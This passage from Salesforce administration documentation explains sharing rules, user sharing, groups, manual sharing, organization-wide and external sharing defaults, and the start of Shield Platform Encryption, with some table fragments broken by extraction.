- Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access to view and edit the contacts, opportunities, and cases associated with their territories’ accounts.
- You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups.
- Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria). This does not apply to User Sharing.

Availability

- Account, account territory, campaign, case, contact, lead, opportunity, and custom object sharing rules are available for Enterprise, Performance, Unlimited, and Developer Editions.
- Only account, asset, campaign, and contact sharing rules are available in Professional Edition.
- Only custom object sharing rules are available in Database.com
- Criteria-based sharing rules aren’t available for all objects.
- Your org might have other objects that are available for sharing rules. See the Sharing Settings setup page to see which sharing rules are available.

Updating

- Creating an owner-based sharing rule with the same source and target groups as an existing rule overwrites the existing rule.
- Once a sharing rule has been saved, you can’t change the Share with field settings when you edit the sharing rule.
- Sharing rules apply to all new and existing records that meet the definition of the source data set.
- Sharing rules apply to both active and inactive users.
- When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access levels.
- When you delete a sharing rule, the sharing access created by that rule is automatically removed.
- When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access as necessary.
- When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the transferred records as necessary.
- Making changes to sharing rules may require changing a large number of records at once. To process these changes efficiently, your request may be queued and you may receive an email notification when the process has completed.
• Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact, and opportunity records.

**Portal and Community Users**

• You can create rules to share records between most types of portal or community users and Salesforce users. Similarly, you can create sharing rules between portal or community users from different accounts as long as their license type supports roles. However, you can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups.

• After enabling Communities, existing sharing rules automatically extend access to external community members. Update your sharing rules to ensure that no records or folders owned by an internal user are shared with an external user.

• You can easily convert sharing rules that include Roles, Internal and Portal Subordinates to include Roles and Internal Subordinates instead by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible report, dashboard, and document folders to folders that are accessible by all users except for portal users.

• When you enable the **Secure guest user record access** setting, you can only use guest user sharing rules to share records with unauthenticated guest users.

• For more information on using sharing rules in Communities, check out **Who Sees What in Communities: Sharing Rules**.

**Managed Package Fields**

If a criteria-based sharing rule references a field from a licensed managed package whose license has expired, (expired) is appended to the label of the field. The field label is displayed in the field dropdown list on the rule’s definition page in Setup. Criteria-based sharing rules that reference expired fields aren’t recalculated, and new records aren’t shared based on those rules. However, the sharing of existing records prior to the package’s expiration is preserved.

**Recalculate Sharing Rules**

When you make changes to groups, roles, and territories, sharing rules are reevaluated to add or remove access as necessary. Changes could include adding or removing individual users from a group, role, or territory, changing which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing a group from within another group.

**Note:** Use the Recalculate buttons on the Sharing Rules related lists only if sharing rule updates have failed or are not working as expected.

To manually recalculate an object’s sharing rules:

1. From Setup, enter **Sharing Settings** in the Quick Find box, then select **Sharing Settings**.

2. In the Sharing Rules related list for the object you want, click **Recalculate**.

3. If you want to monitor the progress of a recalculation, from Setup, enter **Background Jobs** in the Quick Find box, then select **Background Jobs**.

**Note:** The **Recalculate** button is disabled when group membership or sharing rule calculations are deferred.

When sharing is recalculated, Salesforce also runs all Apex sharing recalculations. During sharing rule recalculation, related object sharing rules are calculated as well. For example, when recalculating sharing rule for opportunities, account sharing rules are recalculated since opportunity is a detail of an account object. You receive an email notification when the recalculation is completed for all affected objects.

Automatic sharing rule calculation is enabled by default. You can defer sharing rule calculation by suspending and resuming at your discretion.
Asynchronous Parallel Recalculation of Sharing Rules

Speed up sharing rule recalculation by running it asynchronously and in parallel.

When you create, update, or delete sharing rules, the resulting recalculation is now processed asynchronously and in parallel. The recalculation is run in parallel and asynchronously in the background, which speeds up the process and provides better resilience to site operations such as patches and server restarts. You'll receive an email notification upon completion. Before the recalculation is completed, you can't run other sharing operations such as creating a sharing rule or updating the organization-wide defaults.

If the number of impacted records from an owner-based sharing rule insert or update is less than 25,000, recalculation runs synchronously and you won't receive an email notification when it's completed. Owner-based sharing rule inserts and updates impacting less than 25,000 records are not available on the Background Jobs page.

Parallel sharing rule recalculation is also run in these cases:
- Click the Recalculate button for the sharing rules on the Sharing Settings page
- Recalculate your sharing rules on the Defer sharing page

You can monitor the progress of your parallel recalculation on the Background Jobs page or view your recent sharing operations on the View Setup Audit Trail page.

Recalculation of sharing rules maintains implicit sharing between accounts and child records. In the Background Jobs page, these processes correspond to these job sub types: Account — Extra Parent Access Removal and Account — Parent Access Grant. Additionally, deleting a sharing rule corresponds to the job sub type Object — Access Cleanup, denoting that irrelevant share rows are removed.

Note: For an in-depth look at record access, see Designing Record Access for Enterprise Scale.

User Sharing

User Sharing enables you to show or hide an internal or external user from another user in your organization.

Watch a demo: Who Sees What: User Sharing (English only)

For example, you might be a manufacturer who wants to include all dealers in your organization but keep them from seeing or interacting with each other. If so, set the organization-wide defaults for the user object to Private. Then, open up access to specified dealers with sharing rules or manual sharing.

With User Sharing, you can:
- Assign the “View All Users” permission to users who need to see or interact with all users. This permission is automatically enabled for users who have the “Manage Users” permission.
- Set the organization-wide default for user records to Private or Public Read Only.
- Create user sharing rules on page 119 based on group membership or other criteria.
- Create manual shares for user records to open up access to individual users or groups.
- Control the visibility of external users in customer or partner portals and communities.
Understanding User Sharing

Set organization-wide defaults for internal and external user records. Then, extend access using sharing rules based on membership to public groups, roles, or territories, or use manual sharing to share individual user records with other users or groups.

Set the Org-Wide Sharing Defaults for User Records

Set the org-wide sharing defaults for the user object before opening up access.

Share User Records

Your administrator defines your organization’s sharing model and default access levels for user records. If the organization-wide default access is set to Private or Public Read Only, you can extend sharing privileges for your own user record. However, you can’t restrict access below your organization’s default access levels.

Restore User Visibility Defaults

Understanding User Sharing

Set organization-wide defaults for internal and external user records. Then, extend access using sharing rules based on membership to public groups, roles, or territories, or use manual sharing to share individual user records with other users or groups.

When you enable user sharing, users can see other users in search, list views, and so on only if they have Read access on those users.

Review these considerations before you implement user sharing.

“View All Users” permission

This permission can be assigned to users who need Read access to all users, regardless of the sharing settings. If you already have the “Manage Users” permission, you are automatically granted the “View All Users” permission.

Organization-wide defaults for user records

This setting defaults to Private for external users and Public Read Only for internal users. When the default access is set to Private, users can only read and edit their own user record. Users with subordinates in the role hierarchy maintain read access to the user records of those subordinates.

User sharing rules

General sharing rule considerations apply to user sharing rules. User sharing rules are based on membership to a public group, role, or territory. Each sharing rule shares members of a source group with those of the target group. You must create the appropriate public groups, roles, or territories before creating your sharing rules. Users inherit the same access as users below them in the role hierarchy.

Manual sharing for user records

Manual sharing can grant read or edit access on an individual user, but only if the access is greater than the default access for the target user. Users inherit the same access as users below them in the role hierarchy. Apex managed sharing is not supported.

User sharing for external users

Users with the “Manage External Users” permission have access to external user records for Partner Relationship Management, Customer Service, and Customer Self-Service portal users, regardless of sharing rules or organization-wide default settings for User records. The “Manage External Users” permission does not grant access to guest or Chatter External users.

User Sharing Compatibility

When the organization-wide default for the user object is set to Private, User Sharing does not fully support these features.
• Chatter Messenger is not available for external users. It is available for internal users only when the organization-wide default for the user object is set to Public Read Only.
• Customizable Forecasts—Users with the "View All Forecast" permission can see users to whom they don't have access.
• Salesforce CRM Content—A user who can create libraries can see users they don't have access to when adding library members.
• Standard Report Types—Some reports based on standard report types expose data of users to whom a user doesn’t have access. For more information, see Control Standard Report Visibility.

Set the Org-Wide Sharing Defaults for User Records

Set the org-wide sharing defaults for the user object before opening up access.

For user records, you can set the organization-wide sharing default to Private or Public Read Only. The default must be set to Private if there is at least one user who shouldn’t see a record.

Let’s say that your organization has internal users (employees and sales agents) and external users (customers/portal users) under different sales agents or portal accounts, with these requirements:
• Employees can see everyone.
• Sales agents can see employees, other agents, and their own customer user records only.
• Customers can see other customers only if they are under the same agent or portal account.

To meet these requirements, set the default external access to Private, and extend access using sharing rules, manual sharing, or user permissions.

When the feature is first turned on, the default access setting is Private for external users. The default for internal users is Public Read Only. To change the organization-wide defaults for external access to the user object:

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. Select the default internal and external access you want to use for user records.
   The default external access must be more restrictive or equal to the default internal access.
4. Click Save.
   Users have Read access to those below them in the role hierarchy and full access on their own user record.
Share User Records

Your administrator defines your organization’s sharing model and default access levels for user records. If the organization-wide default access is set to Private or Public Read Only, you can extend sharing privileges for your own user record. However, you can’t restrict access below your organization’s default access levels.

You can share external user records, such as external community users and customer portal or partner portal users. You can also share an internal user record with an external user. To view and manage sharing details, click Sharing on the user detail page. The Sharing Detail page lists the users, groups, roles, and territories that have sharing access to the user record. On this page, you can perform these tasks.

- To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit.
- Grant access to the record for other users, groups, roles, or territories by clicking Add. This method of granting access is also known as manual sharing of your user records.
- Edit or delete the manual share by clicking Edit or Del next to the rule.

An administrator can disable or enable manual user record sharing for all users.

Restore User Visibility Defaults

User Sharing enables you to control who sees who in the organization. You can restore your defaults if you have previously used User Sharing.

To restore user visibility defaults:

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings.
2. Set the organization-wide defaults to Public Read Only for internal access and Private for external access.
3. Disable portal user visibility.
   On the Sharings Settings page, deselect the Portal User Visibility checkbox.
4. Disable community user visibility.
   On the Sharing Settings page, deselect the Community User Visibility checkbox.
5. Remove user sharing rules.
   On the Sharing Settings page, click Del next to all available user sharing rules.
6. Remove HVPU access to user records.
   On the Customer Portal Setup page, click Del next to all available sharing sets for HVPU.

After user visibility is restored to the defaults, all internal users are visible to each other and external users in portals and communities can see themselves and are visible to users above them in the role hierarchy.
What Is a Group?

A group consists of a set of users. A group can contain individual users, other groups, or the users in a particular role or territory. It can also contain the users in a particular role or territory plus all the users below that role or territory in the hierarchy.

There are two types of groups.

**Public groups**
Administrators and delegated administrators can create public groups. Everyone in the organization can use public groups. For example, an administrator can create a group for an employee carpool program. All employees can then use this group to share records about the program.

**Personal groups**
Each user can create groups for their personal use. For example, users might need to ensure that certain records are always shared within a specified workgroup.

**Tip:** Permission set groups consist of permission sets rather than users. Permission set groups bundle permission sets based on job functions or tasks. To learn more about permission set groups and why you use them, see Permission Set Groups (Beta).

You can use groups in the following ways:
- To set up default sharing access via a sharing rule
- To share your records with other users
- To specify that you want to synchronize contacts owned by other users
- To add multiple users to a Salesforce CRM Content library
- To assign users to specific actions in Salesforce Knowledge

IN THIS SECTION:

- Create and Edit Groups
- Group Member Types
- Many types of groups are available for various internal and external users.
- Viewing All Users in a Group
- Granting Access to Records with Manual Sharing

You can use manual sharing to give specific other users access to certain types of records, including accounts, contacts, and leads. Sometimes, granting access to one record includes access to all its associated records.
Create and Edit Groups

Only administrators and delegated administrators can create and edit public groups, but anyone can create and edit their own personal groups.

To create or edit a group:

1. Click the control that matches the type of group:
   - For personal groups, go to your personal settings and click My Personal Information or Personal—whichever one appears. Then click My Groups. The Personal Groups related list is also available on the user detail page.
   - For public groups, from Setup, enter Public Groups in the Quick Find box, then select Public Groups.

2. Click New, or click Edit next to the group you want to edit.

3. Enter the following:

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Label</td>
<td>The name used to refer to the group in any user interface pages.</td>
</tr>
<tr>
<td>Group Name (public groups only)</td>
<td>The unique name used by the API and managed packages.</td>
</tr>
<tr>
<td>Grant Access Using Hierarchies (public groups only)</td>
<td>Select <strong>Grant Access Using Hierarchies</strong> to allow automatic access to records using your role hierarchies. When selected, any records shared with users in this group are also shared with users higher in the hierarchy. Deselect <strong>Grant Access Using Hierarchies</strong> if you're creating a public group with All Internal Users as members, which optimizes performance for sharing records with groups.</td>
</tr>
<tr>
<td>Search</td>
<td>From the Search dropdown, select the type of member to add. If you don't see the member you want to add, enter keywords in the search box and click <strong>Find</strong>. Note: For account owners to see child records owned by high-volume portal users, they must be members of any portal share groups with access to the portal users' data.</td>
</tr>
</tbody>
</table>

**Note:** If **Grant Access Using Hierarchies** is deselected, users that are higher in the role hierarchy don't receive automatic access. However, some users—such as those with the "View All" and "Modify All" object permissions and the "View All Data" and "Modify All Data" system permissions—can still access records they don’t own.

**Editions**

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

**User Permissions**

To create or edit a public group:
- Manage Users

To create or edit another user's personal group:
- Manage Users
Select members from the Available Members box, and click Add to add them to the group.

In this list, specify any delegated administration groups whose members can add or remove members from this public group. Select groups from the Available Delegated Groups box, and then click Add. This list appears only in public groups.

4. Click Save.

Note: When you edit groups, roles, and territories, sharing rules are recalculated to add or remove access as needed.

Group Member Types

Many types of groups are available for various internal and external users. When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending on your organization settings, some types may not be available.

<table>
<thead>
<tr>
<th>Member Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Customer Portal Users</td>
<td>All of your Customer Portal users. This is only available when a Customer Portal is enabled for your organization.</td>
</tr>
<tr>
<td>Partner Users</td>
<td>All of your partner users. This is only available when a partner portal is enabled for your organization.</td>
</tr>
<tr>
<td>Personal Groups</td>
<td>All of your own groups. This is only available when creating other personal groups.</td>
</tr>
<tr>
<td>Portal Roles</td>
<td>All roles defined for your organization's partner portal or Customer Portal. This includes all users in the specified portal role, except high-volume portal users.</td>
</tr>
<tr>
<td>Portal Roles and Subordinates</td>
<td>All roles defined for your organization's partner portal or Customer Portal. This includes all of the users in the specified portal role plus all of the users below that role in the portal role hierarchy, except for high-volume portal users.</td>
</tr>
</tbody>
</table>

Note: A portal role name includes the name of the account that it’s associated with, except for person accounts, which include the user Alias.

EDITIONS

Available in: Salesforce Classic (not available in all orgs) and Lightning Experience

Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions

The member types that are available vary depending on your Edition.

USER PERMISSIONS

To create or edit a public group:
• Manage Users

To create or edit another user’s personal group:
• Manage Users
## Member Type

<table>
<thead>
<tr>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>with, except for person accounts, which include the user Alias.</td>
</tr>
<tr>
<td>Public Groups</td>
</tr>
<tr>
<td>Roles</td>
</tr>
<tr>
<td>Roles and Internal Subordinates</td>
</tr>
<tr>
<td>Roles and Subordinates</td>
</tr>
<tr>
<td>Roles, Internal and Portal Subordinates</td>
</tr>
<tr>
<td>Users</td>
</tr>
</tbody>
</table>

**Note:** When you enable the Secure guest user record access setting, you can’t add unauthenticated guest users to public groups.

## Viewing All Users in a Group

The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing group. The All Users list shows users who belong to the selected public group, queue, or role sharing group. From this page, you can view detailed user information, edit user information, and access related information.

- To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom views. To edit or delete any view you created, select it from the View drop-down list and click Edit.
- Click Edit next to a username to edit the user information.
- Click Login next to a username to log in as that user. This link is only available for users who have granted login access to an administrator, or in organizations where administrators can log in as any user.
Granting Access to Records with Manual Sharing

You can use manual sharing to give specific other users access to certain types of records, including accounts, contacts, and leads. Sometimes, granting access to one record includes access to all its associated records.

For example, if you grant another user access to an account, the user automatically has access to all the opportunities and cases associated with that account.

To grant access to a record, you must be one of the following users.

- The record owner
- A user in a role above the owner in the hierarchy (if your organization’s sharing settings control access through hierarchies)
- Any user granted Full Access to the record
- An administrator

To grant access to a record using a manual share:

1. Click **Sharing** on the record you want to share.
2. Click **Add**.
3. From the **Search** drop-down list, select the type of group, user, role, or territory to add.

Depending on the data in your organization, your options can include:

<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Managers Groups</td>
<td>All direct and indirect managers of a user.</td>
</tr>
<tr>
<td>Manager Subordinates Groups</td>
<td>Managers and all the direct and indirect reports they manage.</td>
</tr>
<tr>
<td>Public Groups</td>
<td>All public groups defined by your administrator.</td>
</tr>
<tr>
<td>Personal Groups</td>
<td>All personal groups defined by the record owner. Only record owners can share with their personal groups.</td>
</tr>
<tr>
<td>Users</td>
<td>All users in your organization. Does not include portal users.</td>
</tr>
<tr>
<td>Roles</td>
<td>All roles defined for your organization, including all users in each role.</td>
</tr>
<tr>
<td>Roles and Subordinates</td>
<td>All users in the role plus all users in roles below that role in the hierarchy. Only available when no portals are enabled for your organization.</td>
</tr>
<tr>
<td>Roles and Internal Subordinates</td>
<td>All roles defined for your organization, including all users in the specified role, all the users in roles below that role. However, it doesn’t include partner portal and Customer Portal roles.</td>
</tr>
</tbody>
</table>
### Type

<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Roles and Internal and Portal Subordinates</td>
<td>Adds a role and its subordinate roles. Includes all users in that role plus all users in roles below that role. Only available when a partner or Customer Portal is enabled for your organization. Includes portal roles and users.</td>
</tr>
<tr>
<td>Territories</td>
<td>For organizations that use territory management, all territories defined for your organization, including all users in each territory. For Enterprise Territory Management, only the territories in the active territory model are available. This option is not available for manual account sharing with the original territory management feature.</td>
</tr>
<tr>
<td>Territories and Subordinates</td>
<td>For organizations that use territory management, all users in the territory plus the users below that territory. For Enterprise Territory Management, only the territories in the active territory model are available.</td>
</tr>
</tbody>
</table>

**Note:** In organizations with more than 2,000 users, roles, and groups, if your query doesn’t match any items in a particular category that category doesn’t show up in the Search drop-down menu. For example, if none of your group names contain the string “CEO,” after searching for “CEO”, the Groups option no longer appears in the drop-down. If you enter a new search term, all categories are still searched even if they don’t appear in the list. You can repopulate the drop-down by clearing your search terms and pressing Find.

4. Choose the specific groups, users, roles, or territories whom you want to give access by adding their names to the Share With list. Use the **Add** and **Remove** arrows to move the items from the Available list to the Share With list.

**Note:** When you enable the Secure guest user record access setting, you can’t grant access to unauthenticated guest users with manual sharing.

5. Choose the **access level** for the record you are sharing and any associated records that you own.

**Note:**
- If you’re sharing an opportunity or case, the users you share it with must have at least Read access to the account (unless you are sharing a case via a case team). If you also have privileges to share the account itself, the users you share it with are automatically given Read access to the account. If you do not have privileges to share the account, you must ask the account owner to give others Read access to it.
- **Contact Access** is not available when the organization-wide default for contacts is set to Controlled by Parent.
- For sharing rules that specify access for associated object records, the given access level applies to that sharing rule only. For example, if an account sharing rule specifies Private as the access level for associated contacts, a user can access to associated contacts via other means. These means include org-wide defaults, the Modify All Data or View All Data permission, or the Modify All or View All permission for contacts.

6. When sharing a forecast in Customizable Forecasting, select **Submit Allowed** to enable the user, group, or role to submit the forecast.

7. Select the reason you’re sharing the record so users and administrators can understand.

8. Click **Save**.
Organization-Wide Sharing Defaults

Define the default access level for an object’s records with organization-wide sharing settings. Organization-wide sharing settings can be set separately for custom objects and many standard objects, including assets, campaigns, cases, and accounts and their contracts.

For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write. In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an admin can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional access—they cannot be used to restrict access to records beyond what was originally specified with the organization-wide sharing defaults.

**Important:** If your org uses a Customer Portal, before you enable contacts to access the portal, set the organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write access by creating sharing rules in which all internal users share with all internal users.

By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users above the record owner in the hierarchy.

Setting an object to Private makes those records visible only to record owners and those above them in the role hierarchy. Use the Grant Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy for custom objects in Professional, Enterprise, Unlimited, Performance, and Developer Edition. If you deselect this checkbox for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the records.

IN THIS SECTION:

- **Set Your Organization-Wide Sharing Defaults**
  Organization-wide sharing defaults set the baseline access for your records. You can set the defaults separately for different objects.

- **External Organization-Wide Defaults Overview**
  External organization-wide defaults provide separate organization-wide defaults for internal and external users. They simplify your sharing rules configuration and improve recalculation performance. Additionally, you can easily see which information is being shared to portals and other external users.
Set Your Organization-Wide Sharing Defaults

Organization-wide sharing defaults set the baseline access for your records. You can set the defaults separately for different objects.

Note: Who Sees What: Org-Wide Defaults (English only)
Watch how you can restrict access to records owned by other users.

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings.
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use. If you have external organization-wide defaults, see External Organization-Wide Defaults Overview.
4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that does not have a default access of Controlled by Parent.

User Permissions
To set default sharing access:
• Manage Sharing

When you update organization-wide defaults, sharing recalculation applies the access changes to your records. If you have a lot of data, the update can take longer.

• If you are increasing the default access, such as from Public Read Only to Public Read/Write, your changes take effect immediately. All users get access based on the updated default access. Sharing recalculation is then run asynchronously to ensure that all redundant access from manual or sharing rules are removed.

Note: When the default access for contacts is Controlled by Parent and you increase the default access for accounts, opportunities, or cases, the changes take effect after recalculation is run.

• If you are decreasing the default access, such as from Public Read/Write to Public Read Only, your changes take effect after recalculation is run.

You’ll receive a notification email when the recalculation completes. Refresh the Sharing Settings page to see your changes. To view the update status, from Setup, enter View Setup Audit Trail in the Quick Find box, then select View Setup Audit Trail.

Limitations
The organization-wide sharing default setting can’t be changed for some objects:
• Service contracts are always Private.
• User provisioning requests are always Private.
• The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored.
• Users can view forecasts only of users and territories below them in the forecast hierarchy, unless forecast sharing is enabled.
• When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default is set to Controlled by Parent and it is not editable.
• The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access on a custom object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s organization-wide sharing setting from private to public.
External Organization-Wide Defaults Overview

External organization-wide defaults provide separate organization-wide defaults for internal and external users. They simplify your sharing rules configuration and improve recalculation performance. Additionally, you can easily see which information is being shared to portals and other external users.

For example, to configure more restrictive access for external users, set the default internal access to Public Read Only or Public Read/Write and the default external access to Private. These settings also speed up performance for reports, list views, searches, and API queries.

>Note: The external access level for an object can’t be more permissive than the internal access level.

You can set external organization-wide defaults for these objects. Your org might have other objects whose external organization-wide defaults can be modified.

- Account
- Asset
- Case
- Contact
- Individual
- Lead (beta)
- Opportunity
- Order
- User
- Custom Objects

External organization-wide defaults aren’t available for some objects, but you can achieve the same behavior with sharing rules. Set the default access to Private and create a sharing rule to share records with all internal users.

External users include:

- Authenticated website users
- Chatter external users
- Community users
- Customer Portal users
- Guest users
- High-volume portal users
- Partner Portal users
- Service Cloud Portal users

>Note: Chatter external users have access to only the User object.

When you enable the **Secure guest user record access** setting, guest users aren’t considered external users. Guest users’ org-wide defaults are set to Private for all objects, and this access level can’t be changed.

**IN THIS SECTION:**

Setting the External Organization-Wide Defaults

External Organization-Wide Defaults enable you to set a different default access level for external users.
Disabling External Organization-Wide Defaults

Disabling External Organization-Wide Defaults results in one organization-wide default for each object.

Setting the External Organization-Wide Defaults

External Organization-Wide Defaults enable you to set a different default access level for external users.

Before you set the external organization-wide defaults, make sure that it is enabled. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings, and click the Enable External Sharing Model button. External organization-wide defaults are automatically enabled in all orgs with communities or portals.

When you first enable external organization-wide defaults, the default internal access and default external access are set to the original default access level. For example, if your organization-wide default for contacts is Private, the default internal access and default external access are Private as well. To secure access to your objects, we recommend that you set your external organization-wide defaults to Private.

Note: After you enable external organization-wide defaults, the external access levels for User and newly created custom objects are set to Private by default.

To set the external organization-wide default for an object:

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings
2. Click Edit in the Organization-Wide Defaults area.
3. For each object, select the default access you want to use.

You can assign the following access levels.

<table>
<thead>
<tr>
<th>Access Level</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Controlled by Parent</td>
<td>Users can perform actions (such as view, edit, delete) on a record on the detail side of a master-detail relationship if they can perform the same action on all associated master records.</td>
</tr>
<tr>
<td></td>
<td>Note: For contacts, Controlled by Parent must be set for both the default internal and external access.</td>
</tr>
<tr>
<td>Private</td>
<td>Only users who are granted access by ownership, permissions, role hierarchy, manual sharing, or sharing rules can access the records.</td>
</tr>
<tr>
<td>Public Read Only</td>
<td>All users can view all records for the object.</td>
</tr>
<tr>
<td>Public Read/Write</td>
<td>All users can view and edit all records for the object.</td>
</tr>
</tbody>
</table>

Note: The default external access level must be more restrictive or equal to the default internal access level. For example, you can have a custom object with default external access set to Private and default internal access set to Public Read Only.

4. Click Save.
Disabling External Organization-Wide Defaults

Disabling External Organization-Wide Defaults results in one organization-wide default for each object.

Before disabling this feature, set Default External Access and Default Internal Access to the same access level for each object.

To disable the external organization-wide defaults:

1. From Setup, enter Sharing Settings in the Quick Find box, then select Sharing Settings.

2. Click Disable External Sharing Model in the Organization-Wide Defaults area.

After disabling the external organization-wide defaults, you’ll see the Default Access setting instead of the Default External Access and Default Internal Access settings in the organization-wide defaults area. If you have User Sharing, the Default External Access settings for the account, contact, case, and opportunity objects remain visible but they are disabled.

Strengthen Your Data’s Security with Shield Platform Encryption

Shield Platform Encryption gives your data a whole new layer of security while preserving critical platform functionality. It enables you to encrypt sensitive data at rest, and not just when transmitted over a network, so your company can confidently comply with privacy policies, regulatory requirements, and contractual obligations for handling private data.

Shield Platform Encryption builds on the data encryption options that Salesforce offers out of the box. Data stored in many standard and custom fields and in files and attachments is encrypted using an advanced HSM-based key derivation system, so it’s protected even when other lines of defense have been compromised.

Your data encryption key material is never saved or shared across orgs. You can choose to have Salesforce generate key material for you or upload your own key material. By default, the Shield Key Management Service derives data encryption keys on demand from a master secret and your org-specific key material, and stores that derived data encryption key in an encrypted key cache. You can also opt out of key derivation on a key-by-key basis, or store your final data encryption key outside of Salesforce and have the Cache-Only Key Service fetch it on demand from a key service that you control. No matter how you choose to manage your keys, Shield Platform Encryption secures your key material at every stage of the encryption process.

You can try out Shield Platform Encryption at no charge in Developer Edition orgs. It is available in sandboxes after it has been provisioned for your production org.

IN THIS SECTION:

What You Can Encrypt

Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You can also encrypt files and attachments stored in Salesforce, Salesforce search indexes, and more. We continue to make more fields and files available for encryption.
How Shield Platform Encryption Works
Shield Platform Encryption relies on a unique tenant secret that you control and a master secret that’s maintained by Salesforce. By default, we combine these secrets to create your unique data encryption key. You can also supply your own final data encryption key. We use your data encryption key to encrypt data that your users put into Salesforce, and to decrypt data when your authorized users need it.

Set Up Your Encryption Policy
An encryption policy is your plan for encrypting data with Shield Platform Encryption. You can choose how you want to implement it. For example, you can encrypt individual fields and apply different encryption schemes to those fields. Or you can choose to encrypt other data elements such as files and attachments, data in Chatter, or search indexes. Remember that encryption is not the same thing as field-level security or object-level security. Put those controls in place before you implement your encryption policy.

Filter Encrypted Data with Deterministic Encryption
You can filter data that’s protected with Shield Platform Encryption using deterministic encryption. Your users can filter records in reports and list views, even when the underlying fields are encrypted. You can apply case-sensitive deterministic encryption or exact-match case-insensitive deterministic encryption to data on a field-by-field basis.

Key Management and Rotation
Shield Platform Encryption lets you control and rotate the key material used to encrypt your data. You can use Salesforce to generate a tenant secret for you, which is then combined with a per-release master secret to derive a data encryption key. This derived data encryption key is then used in encrypt and decrypt functions. You can also use the Bring Your Own Key (BYOK) service to upload your own key material, or store key material outside of Salesforce and have the Cache-Only Key Service fetch your key material on demand.

Shield Platform Encryption Customizations
Some features and settings require adjustment before they work with encrypted data.

Tradeoffs and Limitations of Shield Platform Encryption
A security solution as powerful as Shield Platform Encryption doesn’t come without some tradeoffs. When your data is encrypted, some users may see limitations to some functionality, and a few features aren’t available at all. Consider the impact on your users and your overall business solution as you design your encryption strategy.

SEE ALSO:
Classic Encryption for Custom Fields
What You Can Encrypt

Shield Platform Encryption lets you encrypt a wide variety of standard fields and custom fields. You can also encrypt files and attachments stored in Salesforce, Salesforce search indexes, and more. We continue to make more fields and files available for encryption.

IN THIS SECTION:

Which Standard Fields Can I Encrypt?
You can encrypt certain fields on standard and custom objects, data in Chatter, and search index files. With some exceptions, encrypted fields work normally throughout the Salesforce user interface, business processes, and APIs.

Which Custom Fields Can I Encrypt?
You can apply Shield Platform Encryption to the contents of fields that belong to one of these custom field types, on either standard or custom objects.

Which Files Are Encrypted?
When you enable Shield Platform Encryption for files and attachments, all files and attachments that can be encrypted are encrypted. The body of each file or attachment is encrypted when it’s uploaded.

What Other Data Elements Can I Encrypt?
In addition to standard and custom field data and files, Shield Platform Encryption supports other Salesforce data. You can encrypt Einstein Analytics data sets, Chatter fields, fields in the Salesforce B2B Commerce managed package, and more.

Which Standard Fields Can I Encrypt?
You can encrypt certain fields on standard and custom objects, data in Chatter, and search index files. With some exceptions, encrypted fields work normally throughout the Salesforce user interface, business processes, and APIs.

When you encrypt a field, existing values aren’t encrypted immediately. Values are encrypted only after they are touched. Contact Salesforce for help with encrypting existing data.

Encrypted Standard Fields
You can encrypt the contents of these standard field types.

Accounts

- Account Name
- Account Site
- Billing Address (encrypts Billing Street and Billing City)
- Description
- Fax
- Phone
- Shipping Address (encrypts Shipping Street and Shipping City)
- Website

Note: If your org has enabled Person Accounts, certain account and contact fields are combined into one record. In that case, you can enable encryption for a different set of Account fields.
Accounts (if Person Accounts enabled for your org)
- Account Name
- Account Site
- Assistant
- Assistant Phone
- Billing Address (encrypts Billing Street and Billing City)
- Description
- Email
- Fax
- Home Phone
- Mailing Address (encrypts Mailing Street and Mailing City)
- Mobile
- Other Address (encrypts Other Street and Other City)
- Other Phone
- Phone
- Shipping Address (encrypts Shipping Street and Shipping City)
- Title
- Website

Activity
- Description (encrypts Event—Description and Task—Comment)
